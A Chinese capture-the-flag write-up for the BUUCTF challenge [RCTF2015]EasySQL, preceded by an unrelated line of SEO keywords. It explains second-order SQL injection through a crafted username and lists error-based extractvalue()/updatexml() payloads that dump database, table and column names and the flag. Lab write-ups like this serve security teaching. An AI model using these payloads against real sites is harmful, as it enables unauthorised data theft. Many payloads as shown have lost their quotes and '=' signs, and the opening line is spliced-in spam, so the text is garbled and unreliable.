网站怎么申请支付宝接口,wordpress搭建淘宝客自动获取,舞美设计制作公司,成都科技网站建设咨询题目来源#xff1a;buuctf [RCTF2015]EasySQL1
目录
一、打开靶机#xff0c;整理信息
二、解题思路
step 1#xff1a;初步思路为二次注入#xff0c;在页面进行操作
step 2#xff1a;尝试二次注入
step 3#xff1a;已知双引号类型的字符型注入#xff0c;构造…题目来源buuctf [RCTF2015]EasySQL1
目录
一、打开靶机整理信息
二、解题思路
step 1初步思路为二次注入在页面进行操作
step 2尝试二次注入
step 3已知双引号类型的字符型注入构造payload
step 4报错注入
step 5三爆
方法①extractvalue()函数
方法②updatexml()函数
三、小结 一、打开靶机整理信息
打开题目看到登陆和注册两个按钮前面做的二次注入题目跟这里也有相似点 网页源码中也提到了这两个页面 而靶机给了这道题的源码可以进行代码审计看看有无熟悉的东西
二、解题思路
step 1初步思路为二次注入在页面进行操作
输入usernameadmin password1
发现得到回显
说明已存在admin用户名那能否用sql注入登陆admin用户呢
这里初步断定为二次注入可以尝试一下二次注入的核心思想参考sql-labs less24 二次注入条件注册时sql语句无效被转义登陆时or修改密码需要用到username进行比对时sql语句生效去掉转义 二次注入核心步骤 step1注册一个辅助帐号admin # step2修改辅助帐号密码 step3登陆admin账号用辅助帐号密码即可登陆进去 step 2尝试二次注入
1.先注册一个辅助帐号username‘admin# and password111 这里用单引号因为是字符串
这里带空格注册会显示invalid string空格应该是被过滤了二次注入尝试后可以抓包fuzz一下
2.登陆辅助帐号 下面的内容是作者玩梗没用
3.点击用户名修改密码为222
4.登陆admin账号用password222登陆失败没想到惨遭滑铁卢。 在这纠结了很久然后发现有可能是双引号类型的注入重新二次注入修改辅助帐号usernameadmin# password111重复上述操作登陆admin账号用修改后的password222登陆成功但是没有关于flag的信息
但至少我们知道了这里存在二次注入漏洞而且注入点在username并猜测后端sql语句为
select * from user where usernamexxx and passwordxxx
step 3已知双引号类型的字符型注入构造payload 这里需要注意的是前面用usernameadmin #进行注册时显示invalid string说明这里存在过滤bp抓包爆破一下看看用什么方法注入 发现length、handler、like、sleep、select、left、right、and、floor、rand()等都被过滤掉了感觉熟悉的报错注入在等着我们extractvalue()和updatexml()未被过滤所以可以进行报错注入了 插入题目附带的源码中有提到这一点所以代码审计很重要很多东西都藏好了 step 4报错注入 看了其他师傅的wp用username1注册登陆进去修改用户名回显 目前确定下来注入点在username但回显点在修改密码那里要用报错注入双引号类型注入构造payload查看数据库中的表名。 这段代码给了我们sql语句 注stripslashes函数是去除反斜杠的意思 所以用含有sql注入语句的用户名注册登陆进去修改密码时语句生效
step 5三爆
方法①extractvalue()函数
爆数据库名
admin||extractvalue(1,concat(0x7e,(select(database())),0x7e))# 爆表名
admin||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)database()),0x7e))# 爆列名
admin||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)flag)))#爆flag
admin||extractvalue(1,concat(0x7e,(select(flag)from(flag))))# 看来不在flag列里看看user表
admin||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)users)))# 因为前面提到left()和right()都被过滤了这里用reverse()函数将报错回显的结果倒置以此来查看末尾未显示的信息。
admin||extractvalue(1,concat(0x7e,reverse((select(group_concat(column_name))from(information_schema.columns)where(table_name)users))))# 所以正确表名为real_flag_1s_here获取flag
admin||extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users))))#
发现结果超过一行所以这里用正则表达式获取flag值
admin||extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp(^f))))# flag{847e1ca4-00e4-4fbd-a986-cbextractvalue函数只能显示32位所以仍然用reverse()函数
admin||extractvalue(1,concat(0x7e,reverse((select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp(^f)))))# ~}bbe2976fdabc-689a-dbf4-4e00-4a 倒置后得a4-00e4-4fbd-a986-cbadf6792ebb}
所以flag为flag{847e1ca4-00e4-4fbd-a986-cbadf6792ebb}
方法②updatexml()函数
爆数据库名
admin||(updatexml(1,concat(~,(select(database()))),1))#爆表名
admin||(updatexml(1,concat(~,(select(group_concat(table_name))from(information_schema.tables)where(table_schemaweb_sqli))),1))#爆列名
admin||(updatexml(1,concat(~,(select(group_concat(column_name))from(information_schema.columns)where(table_nameflag))),1))#爆flag
admin||(updatexml(1,concat(~,(select(group_concat(flag))from(flag))),1))#换user表查询
admin||(updatexml(1,(select(group_concat(column_name))from(information_schema.columns)where(table_nameusers)),1))#用正则表达式
admin||(updatexml(1,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp(^f)),1))#reverse函数输出
admin||(updatexml(1,concat(~,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp(^f)))),1))#同样得到flag
三、小结
1.注意当整数型、字符型单引号注入失败不要忘了双引号型注入
2.要判断回显点尤其是二次注入里用闭合双引号后为空看哪里有报错回显
3.当回显信息行数太多无法显示用正则表达式
4.当left()和right()函数都被过滤可以用reverse()函数将flag倒置然后再翻过来
5.源码中有很多信息比如被过滤的字符比如数据库名、表名